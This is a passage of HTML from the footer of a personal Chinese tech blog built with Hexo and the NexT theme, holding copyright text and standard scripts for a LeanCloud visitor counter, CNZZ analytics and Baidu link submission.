                  <span class="logo">
                    <img src="https://qiniu.cuiqingcai.com/ebudy.jpg">
                  </span>
                  <span class="link">
                    <a href="https://chuanjiabing.com/" target="_blank" rel="noopener">穿甲兵技术社区</a>
                  </span>
                </li>
              </ul>
            </div>
          </div>
        </aside>
        <div id="sidebar-dimmer"></div>
      </div>
    </main>
    <footer class="footer">
      <div class="footer-inner">
        <div class="copyright"> &copy; <span itemprop="copyrightYear">2021</span>
          <span class="with-love">
            <i class="fa fa-heart"></i>
          </span>
          <span class="author" itemprop="copyrightHolder">崔庆才丨静觅</span>
          <span class="post-meta-divider">|</span>
          <span class="post-meta-item-icon">
            <i class="fa fa-chart-area"></i>
          </span>
          <span title="站点总字数">2.6m</span>
          <span class="post-meta-divider">|</span>
          <span class="post-meta-item-icon">
            <i class="fa fa-coffee"></i>
          </span>
          <span title="站点阅读时长">39:54</span>
        </div>
        <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://pisces.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Pisces</a> 强力驱动 </div>
        <div class="beian"><a href="https://beian.miit.gov.cn/" rel="noopener" target="_blank">京ICP备18015597号-1 </a>
        </div>
        <script>
          (function ()
          {
            function leancloudSelector(url)
            {
              url = encodeURI(url);
              return document.getElementById(url).querySelector('.leancloud-visitors-count');
            }

            function addCount(Counter)
            {
              var visitors = document.querySelector('.leancloud_visitors');
              var url = decodeURI(visitors.id);
              var title = visitors.dataset.flagTitle;
              Counter('get', '/classes/Counter?where=' + encodeURIComponent(JSON.stringify(
              {
                url
              }))).then(response => response.json()).then((
              {
                results
              }) =>
              {
                if (results.length > 0)
                {
                  var counter = results[0];
                  leancloudSelector(url).innerText = counter.time + 1;
                  Counter('put', '/classes/Counter/' + counter.objectId,
                  {
                    time:
                    {
                      '__op': 'Increment',
                      'amount': 1
                    }
                  }).catch(error =>
                  {
                    console.error('Failed to save visitor count', error);
                  });
                }
                else
                {
                  Counter('post', '/classes/Counter',
                  {
                    title,
                    url,
                    time: 1
                  }).then(response => response.json()).then(() =>
                  {
                    leancloudSelector(url).innerText = 1;
                  }).catch(error =>
                  {
                    console.error('Failed to create', error);
                  });
                }
              }).catch(error =>
              {
                console.error('LeanCloud Counter Error', error);
              });
            }

            function showTime(Counter)
            {
              var visitors = document.querySelectorAll('.leancloud_visitors');
              var entries = [...visitors].map(element =>
              {
                return decodeURI(element.id);
              });
              Counter('get', '/classes/Counter?where=' + encodeURIComponent(JSON.stringify(
              {
                url:
                {
                  '$in': entries
                }
              }))).then(response => response.json()).then((
              {
                results
              }) =>
              {
                for (let url of entries)
                {
                  let target = results.find(item => item.url === url);
                  leancloudSelector(url).innerText = target ? target.time : 0;
                }
              }).catch(error =>
              {
                console.error('LeanCloud Counter Error', error);
              });
            }
            let
            {
              app_id,
              app_key,
              server_url
            } = {
              "enable": true,
              "app_id": "6X5dRQ0pnPWJgYy8SXOg0uID-gzGzoHsz",
              "app_key": "ziLDVEy73ne5HtFTiGstzHMS",
              "server_url": "https://6x5drq0p.lc-cn-n1-shared.com",
              "security": false
            };

            function fetchData(api_server)
            {
              var Counter = (method, url, data) =>
              {
                return fetch(`${api_server}/1.1${url}`,
                {
                  method,
                  headers:
                  {
                    'X-LC-Id': app_id,
                    'X-LC-Key': app_key,
                    'Content-Type': 'application/json',
                  },
                  body: JSON.stringify(data)
                });
              };
              if (CONFIG.page.isPost)
              {
                if (CONFIG.hostname !== location.hostname) return;
                addCount(Counter);
              }
              else if (document.querySelectorAll('.post-title-link').length >= 1)
              {
                showTime(Counter);
              }
            }
            let api_server = app_id.slice(-9) !== '-MdYXbMMI' ? server_url : `https://${app_id.slice(0, 8).toLowerCase()}.api.lncldglobal.com`;
            if (api_server)
            {
              fetchData(api_server);
            }
            else
            {
              fetch('https://app-router.leancloud.cn/2/route?appId=' + app_id).then(response => response.json()).then((
              {
                api_server
              }) =>
              {
                fetchData('https://' + api_server);
              });
            }
          })();

        </script>
      </div>
      <div class="footer-stat">
        <span id="cnzz_stat_icon_1279355174"></span>
        <script type="text/javascript">
          document.write(unescape("%3Cspan id='cnzz_stat_icon_1279355174'%3E%3C/span%3E%3Cscript src='https://v1.cnzz.com/z_stat.php%3Fid%3D1279355174%26online%3D1%26show%3Dline' type='text/javascript'%3E%3C/script%3E"));

        </script>
      </div>
    </footer>
  </div>
  <script src="//cdn.jsdelivr.net/npm/animejs@3.2.1/lib/anime.min.js"></script>
  <script src="//cdn.jsdelivr.net/npm/pangu@4/dist/browser/pangu.min.js"></script>
  <script src="/js/utils.js"></script>
  <script src="/.js"></script>
  <script src="/js/schemes/pisces.js"></script>
  <script src="/.js"></script>
  <script src="/js/next-boot.js"></script>
  <script src="/.js"></script>
  <script>
    (function ()
    {
      var canonicalURL, curProtocol;
      //Get the <link> tag
      var x = document.getElementsByTagName("link");
      //Find the last canonical URL
      if (x.length > 0)
      {
        for (i = 0; i < x.length; i++)
        {
          if (x[i].rel.toLowerCase() == 'canonical' && x[i].href)
          {
            canonicalURL = x[i].href;
          }
        }
      }
      //Get protocol
      if (!canonicalURL)
      {
        curProtocol = window.location.protocol.split(':')[0];
      }
      else
      {
        curProtocol = canonicalURL.split(':')[0];
      }
      //Get current URL if the canonical URL does not exist
      if (!canonicalURL) canonicalURL = window.location.href;
      //Assign script content. Replace current URL with the canonical URL
      ! function ()
      {
        var e = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,
          r = canonicalURL,
          t = document.referrer;
        if (!e.test(r))
        {
          var n = (String(curProtocol).toLowerCase() === 'https') ? "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif" : "//api.share.baidu.com/s.gif";
          t ? (n += "?r=" + encodeURIComponent(document.referrer), r && (n += "&l=" + r)) : r && (n += "?l=" + r);
          var i = new Image;
          i.src = n
        }
      }(window);
    })();

  </script>
  <script src="/js/local-search.js"></script>
  <script src="/.js"></script>
</body>

</html>
